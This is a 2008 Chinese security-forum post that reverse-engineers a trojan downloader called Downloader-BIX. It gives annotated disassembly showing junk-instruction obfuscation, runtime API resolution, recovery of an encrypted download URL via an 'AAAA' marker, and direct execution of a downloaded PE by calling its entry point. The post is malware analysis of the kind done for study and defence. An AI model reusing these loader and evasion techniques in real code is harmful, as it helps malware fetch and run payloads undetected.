- UID
- 34236
注册时间2007-8-13
阅读权限10
最后登录1970-1-1
周游历练
该用户从未签到
|
木马:Downloader-BIX
样本见附件
关键点:
1:使用Loadlibrary 和 GetProcessAddress来获取API,运行DOWN回来的东东时是
直接以CALL的形式运行
2:加入大量的垃圾指令 看的眼酸
3:通过解密附加数据来获得 URL
4:以写堆栈的形式 而不是PUSH 的形式 压入函数参数
==================================================================
简要分析(以IDA 和OD为主):
004026B1 >/$ 55 push ebp
004026B2 |. 89E5 mov ebp, esp
004026B4 |. 83EC 28 sub esp, 28
004026B7 |. 81EC 3C080000 sub esp, 83C
004026BD |. 89E3 mov ebx, esp
004026BF |. 8925 AD264000 mov dword ptr [4026AD], esp
004026C5 |. A1 44504000 mov eax, dword ptr [<&KERNEL32.LoadLi>
004026CA |. 8983 0D040000 mov dword ptr [ebx+40D], eax
004026D0 |. A1 48504000 mov eax, dword ptr [<&KERNEL32.GetPro>
004026D5 |. 8983 A3050000 mov dword ptr [ebx+5A3], eax
004026DB |. E8 54050000 call 00402C34 ;修复IAT
{
seg000:00402C34 push ebp
seg000:00402C35 mov ebp, esp
seg000:00402C37 sub esp, 50h
seg000:00402C3A mov ebx, stack_base
seg000:00402C40 mov byte ptr [ebx+7DCh], 2Eh ;这里通过单字节的传送得到字符串
seg000:00402C47 or dh, 9Ah ;基本上使用DH DL CH之类的指令都是属于垃圾指令无视好了
seg000:00402C4A mov byte ptr [ebx+7D9h], 6Ch
seg000:00402C51 xor dl, 82h
seg000:00402C54 mov ch, 59h
seg000:00402C56 mov byte ptr [ebx+7D6h], 72h
seg000:00402C5D mov byte ptr [ebx+7D7h], 6Eh
seg000:00402C64 mov byte ptr [ebx+7DBh], 32h
seg000:00402C6B mov byte ptr [ebx+7D5h], 65h
seg000:00402C72 or ch, 0C1h
seg000:00402C75 mov byte ptr [ebx+7E0h], 0
seg000:00402C7C mov byte ptr [ebx+7D8h], 65h
seg000:00402C83 mov dh, 53h
seg000:00402C85 mov byte ptr [ebx+7DDh], 64h
seg000:00402C8C xor cl, 24h
seg000:00402C8F add ch, 5
seg000:00402C92 mov byte ptr [ebx+7DEh], 6Ch
seg000:00402C99 mov byte ptr [ebx+7DAh], 33h
seg000:00402CA0 mov byte ptr [ebx+7D4h], 6Bh
seg000:00402CA7 and ch, 34h
seg000:00402CAA mov byte ptr [ebx+7DFh], 6Ch
seg000:00402CB1 mov dl, 0CAh
seg000:00402CB3 sub esp, 4
seg000:00402CB6 lea edi, [ebx+7D4h]
seg000:00402CBC mov [esp+54h+var_54], edi ; 字符串Kernel32.dll
seg000:00402CBF call dword ptr [ebx+40Dh] ;LoadLibrary
整个子函数都是用来 获得API地址的,以下不详述
......................................
}
004026E0 |. 8983 71070000 mov dword ptr [ebx+771], eax
004026E6 |. C783 29080000>mov dword ptr [ebx+829], 100000
004026F0 |. C783 21040000>mov dword ptr [ebx+421], 300000
004026FA |. 83EC 10 sub esp, 10
004026FD |. C70424 000000>mov dword ptr [esp], 6000000
=====================================================================
00402741 |. 8B83 6E010000 mov eax, dword ptr [ebx+16E]
00402747 |. 8983 7E010000 mov dword ptr [ebx+17E], eax
0040274D |. 83EC 04 sub esp, 4
00402750 |. 80F4 46 xor ah, 46 ; |
00402753 |. 8D83 09030000 lea eax, dword ptr [ebx+309] ; |
00402759 |. 890424 mov dword ptr [esp], eax ; |
0040275C |. 80E6 1B and dh, 1B ; |
0040275F |. E8 7EF7FFFF call 00401EE2 ; \3727D1~1.00401EE2 关键CALL 获得下载URL
{
代码有点长 只列关键的
=================================================================
00401FC5 |> /80EC D6 /sub ah, 0D6
00401FC8 |. |8BB3 4A040000 |mov esi, dword ptr [ebx+44A]
00401FCE |. |803E 00 |cmp byte ptr [esi], 0
00401FD1 |. |75 02 |jnz short 00401FD5
00401FD3 |. |EB 3C |jmp short 00402011
00401FD5 |> |8BB3 4A040000 |mov esi, dword ptr [ebx+44A]
00401FDB |. |803E 22 |cmp byte ptr [esi], 22
00401FDE |. |75 08 |jnz short 00401FE8
00401FE0 |. |80E2 0F |and dl, 0F
00401FE3 |. |80E2 3D |and dl, 3D
00401FE6 |. |EB 29 |jmp short 00402011
00401FE8 |> |8BB3 10070000 |mov esi, dword ptr [ebx+710]
00401FEE |. |8BBB 4A040000 |mov edi, dword ptr [ebx+44A]
00401FF4 |. |8A07 |mov al, byte ptr [edi]
00401FF6 |. |8806 |mov byte ptr [esi], al
00401FF8 |. |80F5 8E |xor ch, 8E
00401FFB |. |8383 10070000>|add dword ptr [ebx+710], 1
00402002 |. |8383 4A040000>|add dword ptr [ebx+44A], 1
00402009 |. |80C9 FF |or cl, 0FF
0040200C |. |80F5 04 |xor ch, 4
0040200F |.^\EB B4 \jmp short 00401FC5
这里是把COMMANDLINE得到的参数 去掉 "和" 算是除了GetModuleFileName外 另一个得到自身文件名的方法
================================================================================
004020CB |. 80F2 60 xor dl, 60
004020CE |. 80EC BE sub ah, 0BE
004020D1 |. C74424 14 000>mov dword ptr [esp+14], 0
004020D9 |. 80E2 57 and dl, 57
004020DC |. 80C2 78 add dl, 78
004020DF |. C74424 18 000>mov dword ptr [esp+18], 0 ;通过写堆栈来实现参数的PUSH
下面会多次遇到,不详述
004020E7 |. 80ED 08 sub ch, 8
004020EA |. 80ED E7 sub ch, 0E7
004020ED |. FF93 7D070000 call dword ptr [ebx+77D] ; kernel32.CreateFileA
===============================================================================================
00402290 |> /8B83 76010000 /mov eax, dword ptr [ebx+176]
00402296 |. |3983 4A040000 |cmp dword ptr [ebx+44A], eax
0040229C |. |75 0B |jnz short 004022A9
0040229E |. |80ED 1E |sub ch, 1E
004022A1 |. |80C6 59 |add dh, 59
004022A4 |. |E9 8F000000 |jmp 00402338
004022A9 |> |8BB3 4A040000 |mov esi, dword ptr [ebx+44A]
004022AF |. |813E 41414141 |cmp dword ptr [esi], 41414141 ;通过AAAA标识来遍历文件寻找加密后的URL 为下面解密做准备
004022B5 |. |74 02 |je short 004022B9
004022B7 |. |EB 5F |jmp short 00402318
004022B9 |> |8B83 4A040000 |mov eax, dword ptr [ebx+44A]
004022BF |. |8983 7E060000 |mov dword ptr [ebx+67E], eax
004022C5 |. |80E1 2E |and cl, 2E
004022C8 |. |8383 7E060000>|add dword ptr [ebx+67E], 4
004022CF |. |8B83 7E060000 |mov eax, dword ptr [ebx+67E]
004022D5 |. |8983 10070000 |mov dword ptr [ebx+710], eax
004022DB |. |80F1 AB |xor cl, 0AB
============================================================================================
00402404 |. 80C1 AE add cl, 0AE ; |
00402407 |. 8B83 25040000 mov eax, dword ptr [ebx+425] ; |
0040240D |. 894424 04 mov dword ptr [esp+4], eax ; |
00402411 |. B5 0A mov ch, 0A ; |
00402413 |. 80EE A4 sub dh, 0A4 ; |
00402416 |. E8 24060000 call 00402A3F ; \3727D1~1.00402A3F关键CALL 解密开始 算法很简单 有兴趣的自己研究
============================================================================================
}
00402764 |. 8983 82060000 mov dword ptr [ebx+682], eax
0040276A |. 83BB 82060000>cmp dword ptr [ebx+682], 0
00402771 |. 74 05 je short 00402778
00402773 |. E9 72010000 jmp 004028EA
00402778 |> C683 51010000>mov byte ptr [ebx+151], 31
0040277F |. 80E1 19 and cl, 19
==============================================================================
004028EA |> \83EC 08 sub esp, 8
004028ED |. 80C2 DD add dl, 0DD ; |
004028F0 |. 8D83 09030000 lea eax, dword ptr [ebx+309] ; |
004028F6 |. 890424 mov dword ptr [esp], eax ; |
004028F9 |. B1 C9 mov cl, 0C9 ; |
004028FB |. 80E5 F5 and ch, 0F5 ; |
004028FE |. 8DBB 4E040000 lea edi, dword ptr [ebx+44E] ; |
00402904 |. 897C24 04 mov dword ptr [esp+4], edi ; |
00402908 |. 80C1 F8 add cl, 0F8 ; |
0040290B |. 80C9 D4 or cl, 0D4 ; |
0040290E |. E8 EDE6FFFF call 00401000 ; \3727D1~1.00401000 下载服务器上的文件
调用了相关API 需要注意的就是 垃圾指令太多,第一次连接上服务器 服务器会以字符串形式返回下载的文件大小,由于URL已经失效
所以返回了 页面的大小 "169" 换算成16进制就是0A9h
===============================================================================================================
seg000:00402A00 add cl, 0A3h
seg000:00402A03 mov eax, [ebp+arg_8]
seg000:00402A06 mov [esp+890h+var_87C], eax
seg000:00402A0A mov eax, [ebp+arg_C]
seg000:00402A0D mov [esp+890h+var_878], eax
seg000:00402A11 or cl, 9Fh
seg000:00402A14 sub cl, 8Eh
seg000:00402A17 call sub_4024AF ;这个CALL就是运行DOWN回来文件的关键CALL
{
..................................
seg000:00402676 xor ch, 0Eh
seg000:00402679 and ch, 0Ah
seg000:0040267C mov eax, [ebp+arg_10]
seg000:0040267F mov [esp+5Ch+var_58], eax
seg000:00402683 or dh, 0D9h
seg000:00402686 mov dh, 56h
seg000:00402688 mov eax, [ebp+arg_14]
seg000:0040268B mov [esp+5Ch+var_54], eax
seg000:0040268F mov eax, [ebp+arg_18]
seg000:00402692 mov [esp+5Ch+var_50], eax
seg000:00402696 add cl, 0D2h
seg000:00402699 call dword ptr [ebx+456h] ;ebx+456h 所存放的就是down回来的PE文件的入口点 直接就运行了文件 本来还
以为会通过CreateProcess之类的运行 这次长见识了
seg000:0040269F add esp, 10h
seg000:004026A2 popa
seg000:004026A3 mov [ebx+597h], eax
}
篇幅有限 这里只是简要分析,详细的分析过程太长了就不贴了 由于 木马下载的服务器已经失效了 直接在本机运行调试就可以了 至少我没分析出其他有害的地方
当然最保险的还是在虚拟机里调试 万一 服务器在某个时间开通 。。。。。。。。。
[ 本帖最后由 xhn1002 于 2008-8-13 17:03 编辑 ] |
评分
-
查看全部评分
|